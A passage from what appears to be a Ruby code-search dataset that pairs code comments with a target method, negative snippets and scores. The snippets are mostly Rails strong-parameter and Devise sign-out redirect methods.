@used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def bizowners_review_params params.require(:bizowners_review).permit(:bizowner_id, :jobseeker_id, :bizowner_review_star, :business_review_description, :job_end_date, :status) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Overwriting the sign_out redirect path method
def after_sign_out_path_for(resource_or_scope) #new_user_session_path send("new_#{resource_or_scope}_session_path") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def after_sign_out_path_for(resource_or_scope)\n '/signed_out'\n end", "def after_sign_out_path_for(_resource_or_scope)\n '/'\n end", "def after_sign_out_path_for(resource_or_scope); end", "def signout_url\n {:controller => 'auth', :action => 'signout'}\n end", "def after_sign_out_path_for(resource_or_scope)\n '/users/sign_in'\n end", "def after_sign_out_path_for(resource_or_scope)\n \"/app/users/sign_in\"\n end", "def after_sign_out_path_for(resource_or_scope)\n Faraday.get(logout_path) if logout_path.present?\n super(resource_or_scope)\n end", "def after_sign_out_path_for(resource)\n '/'\n end", "def after_sign_out_path_for(user)\n '/'\n end", "def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end", "def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end", "def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end", "def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end", "def sign_out_and_redirect(resource_or_scope); end", "def after_sign_out_path_for(resource_or_scope)\n # caught by apache to trigger pubcookie logout\n '/logout'\n end", "def after_sign_out_path_for(resource_or_scope)\n flash[:logout] = true\n root_path\n end", "def sign_out_and_redirect!(return_to = \"/\")\n sign_out_user\n redirect_to sign_out_url(return_to)\n end", "def after_sign_out_path_for(resource)\n \tnew_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n user_session_path\n end", "def after_sign_out_path_for(resource)\n new_user_session_path\n end", "def after_sign_out_path_for(resource)\n new_user_session_path\n end", "def after_sign_out_path_for(resource)\n new_user_session_path\n end", "def after_sign_out_path_for(resource)\n new_user_session_path\n end", "def after_sign_out_path_for(resource)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n '/'\n end", "def after_sign_out_path_for(resource_or_scope)\n '/'\n end", "def after_sign_out_path_for user\n reset_session\n\n # for hijacking\n # cookies.delete :secure_user_id\n\n new_user_session_path\n # root_path\n end", "def after_sign_out_path_for(_resource_or_scope)\n # require 'pry'\n # binding.pry\n # Note: at this time: flash[:notice] => \"Signed out successfully.\"\n # current_user is nil.\n new_user_session_path # signIn page\n end", "def after_sign_out_path_for(resource_or_scope)\n # path before sign out request\n \"#{URI(request.referer).path}?logged_out=1\"\n end", "def destroy\n super\n after_sign_out_path_for(resource)\n end", "def sign_out\n\n # mark them as signed out.\n # (this is a helper method of devise, the rails ruby gem we're using for\n # authentication in the sample app.)\n # \n # \n #session_sign_out <---- NEED TO CHANGE TO CUSTOM USER SIGN OUT\n\n # send them back to the homepage.\n redirect_to root_path\n\n end", "def after_sign_out_path_for(resource_or_scope)\n if request.params[:type] == \"sso\"\n Rails.configuration.devise[:sign_out_redirect_url]\n else\n super\n end\n end", "def after_sign_out_path_for(resource_or_scope)\r\n '/'\r\n end", "def after_sign_out_path_for(resource_or_scope)\n sign_in_path\n end", "def after_sign_out_path_for(resource_or_scope)\n sign_in_path\n end", "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(_resource)\n root_path\n end", "def after_sign_out_path_for(_resource)\n root_path\n end", "def after_sign_out_path_for(_resource_or_scope)\n root_path\n # new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n cookies.delete :pa_auth_token\n \n \"#{Civiccommons::PeopleAggregator.URL}/logout.php?redirect=http://#{request.host}#{request.port == \"80\" ? nil : \":#{request.port}\"}\"\n end", "def after_sign_out_path_for(resource)\n #if current_user_signed_in?\n # redirect_to home_path \n # else\n redirect_to site_index_path \n #end \n end", "def after_sign_out_path_for(_resource)\n new_user_session_path\n end", "def after_sign_out_path_for(resource)\n\t\tnew_user_session_path\n\tend", "def after_sign_out_path_for(resource_or_scope)\n user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path \n end", "def sign_out\n logout\n end", "def after_sign_out_path_for(resource_or_scope)\n if logout_path.present?\n logout_path\n else\n super(resource_or_scope)\n end\n end", "def after_sign_out_path_for(resource_or_scope)\n if logout_path.present?\n logout_path\n else\n super(resource_or_scope)\n end\n end", "def after_sign_out_path_for(resource_or_scope)\n if logout_path.present?\n logout_path\n else\n super(resource_or_scope)\n end\n end", "def after_sign_out_path_for(resource_or_scope)\n if logout_path.present?\n logout_path\n else\n super(resource_or_scope)\n end\n end", "def after_sign_out_path_for(resource_or_scope)\n \tuser_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n \tlogin_path\n \tend", "def after_sign_out_path_for(resource_or_scope)\n login_url\n end", "def after_sign_out_path_for(resource_or_scope)\n home_path(:ref => \"logout\")\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n \tlogin_path\n end", "def after_sign_out_path_for(resource_or_scope)\n \t\t\troot_path\n \t\t end", "def after_sign_out_path_for(_resource)\n root_url\n end", "def after_sign_out_path_for resource_or_scope\n redirect_uri = params[:redirect_uri]\n redirect_uri ? redirect_uri : super\n end", "def after_sign_out_path_for(resource_or_scope)\n '/members/sign_in'\n end", "def signout\n self.oaw_signout\n redirect_to root_url\n end", "def after_sign_out_path_for(resource)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n login_path\n end", "def after_sign_out_path_for(resource_or_scope)\n # root_path\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\r\n login_path\r\n end", "def after_sign_out_path_for(_)\n root_url\n end", "def after_sign_out_path_for(resource)\r\n app_root + \"/sessions/new\"\r\n end", "def after_sign_out_path_for(resource)\n root_path\n end", "def after_sign_out_path_for(resource)\n root_path\n end", "def after_sign_out_path_for(resource)\n root_path\n end", "def signed_out_user\n redirect_to root_path unless !user_signed_in?\n end", "def after_sign_out_path_for(params)\n bienvenida_path\n end", "def destroy\n redirect_path = after_sign_out_path_for(\"user\")\n signed_out = (Devise.sign_out_all_scopes ? sign_out : sign_out(\"user\"))\n set_flash_message :notice, :signed_out if signed_out && is_navigational_format?\n super\n end", "def after_sign_out_path_for(_resource)\n I18n.locale == I18n.default_locale ? '/' : \"/#{I18n.locale}\"\n end", "def after_sign_out_path_for(_resource_or_scope)\n home_path\n end", "def after_sign_out_path_for(resource_or_scope)\n \tnew_user_session_path\n end", "def after_sign_out_path_for(user)\n new_user_session_path\n end", "def after_sign_out_path_for(resource)\n home_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end", "def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end" ]
[ "0.8101773", "0.8007423", "0.7983717", "0.79319686", "0.7897884", "0.7889105", "0.78745323", "0.78685343", "0.78580767", "0.78434205", "0.78434205", "0.78434205", "0.78434205", "0.7841263", "0.78215253", "0.7788318", "0.7748518", "0.77370673", "0.77312046", "0.77290326", "0.77290326", "0.77290326", "0.77290326", "0.77290326", "0.77274054", "0.77274054", "0.77216196", "0.7716693", "0.7709171", "0.77080834", "0.77042115", "0.76946616", "0.7691137", "0.7682846", "0.7682846", "0.76820195", "0.76820195", "0.767765", "0.767765", "0.7669486", "0.7665382", "0.7643528", "0.76413697", "0.76401776", "0.76326", "0.76284176", "0.76225597", "0.76224226", "0.76224226", "0.76224226", "0.76224226", "0.76201284", "0.7616419", "0.7615296", "0.7613254", "0.760622", "0.760161", "0.7596703", "0.7592108", "0.75896287", "0.7588135", "0.758426", "0.7572684", "0.75579435", "0.7557618", "0.75497556", "0.75422186", "0.75403", "0.7533965", "0.7533965", "0.7533965", "0.75271934", "0.75222105", "0.75216866", "0.7517045", "0.75140774", "0.75088143", "0.75048196", "0.74844825", "0.7481599", "0.7481599", "0.7481599", "0.7481599", "0.7481599", "0.7481599", "0.7481599", "0.7481599", "0.7481599", "0.7481599", "0.7481599", "0.7481599", "0.7481599", "0.7481599", "0.7481599", "0.7481599", "0.7481599", "0.7481599", "0.7481599", "0.7481599", "0.7481599", "0.7481599" ]
0.0
-1
Overrides setter method to preserve order in a second property.
def creator=(values) super && self.ordered_creators = values.to_json end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def inverse_setter(other = nil)\n @inverse_setter ||= \"#{inverses(other).first}=\" unless inverses(other).blank?\n end", "def attribute_to_set; end", "def swap_with(other)\n self.class.base_class.transaction do\n old_position = position\n update_attribute(:position, other.position)\n other.update_attribute(:position, old_position)\n end\n end", "def sync=(p1)\n #This is a stub, used for indexing\n end", "def order=(newlocal_order)\n # clear any previous custom order\n @custom_order = nil\n oldlocal_order = order.dup\n order = []\n newlocal_order.each do |name|\n key = name.to_sym\n if oldlocal_order.include?(key)\n oldlocal_order.delete(key)\n order << key\n end\n end\n order += oldlocal_order\n @custom_order = order\n end", "def set_object_other_position(obj, value)\n obj.y = value if obj\n end", "def __setter__\n \"#{self}=\"\n end", "def order=( o )\n\t\torig = @order\n\t\t@order = o\n\t\traise_on_invalid_column if o\n\t\torig\n\tend", "def previous_sibling=(other); end", "def []= key, value\n\t\t\tsuper\n\t\t\t@orient.update set: {@name => self} if @name.present? if check_if_complete\n\t\tend", "def reverse_order!\n self.reverse_order_value = !reverse_order_value\n self\n end", "def set_object_other_position(obj, value)\n obj.x = value if obj\n end", "def []=(name, value)\n return super(name, value) if name.is_a?(Fixnum)\n name = name.upcase\n\n remove(name)\n\n if value.is_a?(Component) || value.is_a?(Property)\n add(value)\n else\n add(name, value)\n end\n end", "def set_value(owner, value)\n values = value.to_s.split(/ +/)\n \n @properties.each_index do |index|\n break if index > values.length-1\n subproperties = @properties[index]\n\n subproperties.each do |subproperty|\n owner.set_property_value(subproperty, values[index])\n end\n end\n end", "def y=(val); self[1] = val; end", "def merge!(other)\n update!(other.value)\n end", "def []=(key,val)\n\t\t\t\t@mutex.lock\n\t\t\t\t\t@l2.delete(key) if @l2.include?(key)\n\t\t\t\t\tsuper(key,val)\n\t\t\t\t@mutex.unlock\n\t\t\tend", "def set_from_other(other)\n set_values(other.nv, other.dv, other.snv, other.sdv)\n end", "def property_set sym, val\n oldvalue = instance_variable_get \"@#{sym}\"\n tmp = val.size == 1 ? val[0] : val\n newvalue = tmp\n if oldvalue.nil? || @_object_created.nil?\n #@#{sym} = tmp\n instance_variable_set \"@#{sym}\", tmp\n end\n return(self) if oldvalue.nil? || @_object_created.nil?\n\n if oldvalue != newvalue\n # trying to reduce calls to fire, when object is being created\n begin\n @property_changed = true\n fire_property_change(\"#{sym}\", oldvalue, newvalue) if !oldvalue.nil?\n #@#{sym} = tmp\n instance_variable_set \"@#{sym}\", tmp\n #@config[\"#{sym}\"]=@#{sym}\n rescue PropertyVetoException\n $log.warn \"PropertyVetoException for #{sym}:\" + oldvalue.to_s + \"-> \"+ newvalue.to_s\n end\n end # if old\n self\n end", "def value=(new_value)\n validate(new_value)\n if new_value.nil?\n property_names.each { |name| self[name] = nil }\n else\n property_names.each { |name| self[name] = new_value[name] }\n end\n end", "def []=(p1, p2)\n #This is a stub, used for indexing\n end", "def set_to_ordered\n self.status = \"ordered\"\n self.save\n end", "def up_via!(property, group)\n #parameter passed a property type?\n return if property.class != Property\n return if group.class != Group\n #get all relationships for this entity via the given group\n relationships = property_relations_via group\n relationship = EntityPropertyRelationship.find_by(entity_id: self.id, property_id: property.id, group_id: group.id)\n #relationship exist?\n return if relationship.nil?\n #already last?\n return if relationship.position == 0\n #relationship after property\n swap = self.property_relations_via(group)[relationship.position - 1]\n #move the property below the passed property up\n swap.update_attribute(:position, swap.position + 1)\n #move the passed property down\n relationship.update_attribute(:position, relationship.position - 1)\n end", "def set_order(ordering)\n\t\to = \"\"\n\t\tordering.each do |obj_place|\n\t\t\to << (obj_place.model + \"_\" + obj_place.id.to_s + \"///,\")\n\t\tend\n\t\tself.update_attribute :order, o\n\tend", "def order=(value)\n @order = value\n end", "def next_sibling=(other); end", "def property_set key, value\n n_file_properties = file_properties.dup\n n_file_properties[key]=value\n self.file_properties= n_file_properties\n end", "def []=(property, value)\n if self.class.translation_exists? property\n send(\"#{property}=\", value)\n elsif self.class.transformation_exists? property\n super property, self.class.transformed_property(property, value)\n elsif property_exists? property\n super\n end\n end", "def z=(value)\n self[2] = value\n end", "def to_setter\n\t\t\t\t(to_getter.to_s+\"=\").to_sym\n\t\t\tend", "def __copy_on_write__(*)\n index = @parent_proxy.instance_variable_get(:@set).index(__getobj__) if @parent_proxy\n super.tap do\n CowProxy.debug { \"replace #{index} with proxy obj in parent #{@parent_proxy.name}\" } if index\n @parent_proxy.instance_variable_get(:@set)[index] = self if index\n new_set = __getobj__.instance_variable_get(:@set).dup\n __getobj__.instance_variable_set(:@set, new_set)\n end\n end", "def reorder(*args)\n return self if 